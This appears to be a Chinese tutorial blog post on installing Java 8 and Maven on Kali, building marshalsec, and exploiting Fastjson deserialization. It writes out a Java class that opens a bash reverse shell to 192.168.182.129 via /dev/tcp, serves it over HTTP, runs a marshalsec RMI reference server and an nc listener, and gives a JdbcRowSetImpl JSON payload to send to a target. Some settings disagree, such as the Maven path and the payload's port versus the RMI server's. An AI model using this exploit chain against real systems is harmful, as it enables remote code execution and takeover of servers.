java版本共存与fastjson反序列化rmi服务器的搭建

java 8下载

链接：https://pan.baidu.com/s/1B8U9v8QAe4Vc67Q84_nqcg?pwd=0000
提取码：0000

远程加载类工具

https://github.com/mbechler/marshalsec.git

编译工具mvn

链接：https://pan.baidu.com/s/1Sqo_YkcBIK7mBiY-1ZoRYw?pwd=0000
提取码：0000

多版本共存

启动kail 将java8解压至/usr/local/java中方便管理

mkdir /usr/local/java
tar -zxvf dk-8u202-linux-x64.tar.gz -C  /usr/local/java

这里的参数意义如下：

-z 表示使用gzip进行解压缩。
-x 表示执行解压操作。
-v 代表在解压过程中显示详细的信息，可以看到正在解压的文件名。
-f 后面跟上需要解压的文件名，这里就是你的.tar.gz文件。
-C 解压到指定路径

改个名字

cd /usr/local/java
mv jdk1.8.0_202 jdk1.8.0

解压好进行配置
在文件/etc/profile尾部添加变量
vim /etc/profile
点键盘i键进行编辑

export JAVA_HOME=/usr/local/java/jdk1.8.0

export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar

export PATH=.:$ZOOKEEPER_HOME/bin:$JAVA_HOME/bin:$PATH

添加完成后点esc键输入wq进行保存

使用使配置文件生效

source /etc/profile

生效之后使用命令完成jdk版本共存

sudo update-alternatives --install /usr/bin/java java /usr/local/java/jdk1.8.0/bin/java 1500

使用来切换版本

sudo update-alternatives --config java

这样就成功了

配置mvn

默认的Linux是没有编译命令的我们需要自己搭建
将Apache Maven解压到/opt目录下
/opt目录主要用于存放第三方应用程序或者非系统自带的软件包

tar -zxvf apache-maven-3.9.6-bin.tar.gz -C /opt 

解压完成后进行配置系统变量编辑 /etc/profile

vim /etc/profile

输入i将变量添加到末尾

export M2_HOME=/opt/apache-maven-3.6.3
export PATH=$PATH:$M2_HOME/bin

esc 输入wq保存
使用命令生效配置文件

source /etc/profile

检查是否安装完成

mvn -version

但是我改了之后不可以用不知道为什么

编译marshalsec

cd 到marshalsec文件夹进行编译

mvn clean package -DskipTests

他会哗哗哗下一堆东西

这样就说明编译好了看一眼我们的jar包就打好了

编译rce文件

返回主目录新建一个文件夹为fastjson_payload的文件夹

mkdir fastjson_payload

完成后创建java文件

vim rce.java

进行编辑下面代码，记得修改bash shell的ip及nc开放的端口

import java.lang.Runtime;
import java.lang.Process;
 
public class Rce {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.182.129/10002 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

创建好后进行编译

javac Rce.java

如果提示没有javac进行一下命令安装重新编译

apt install default-jdk

利用marshalsec加载远程RCE类

编译完成后
在此页面开启一个网页服务

python -m http.server  8082

测试一下能否正常访问

可以看到能够正常访问到我们的class文件
好了接下来回到我们的marshalsec文件夹开启我们的rmi服务

cd github/marshalsec-rmi
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.182.129:8082/#Rce" 10003

意思就是开放一个marshalsec监听端口10003包含的远程加载类为我们刚刚那个文件夹下的class文件

新建窗口开启nc监听

nc -lvvp 10002

完成之后根据对方的fastjson版本构造payload
例:

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.182.129:8082/Rce","autoCommit":true}}

将payload上传至数据包即可反弹shell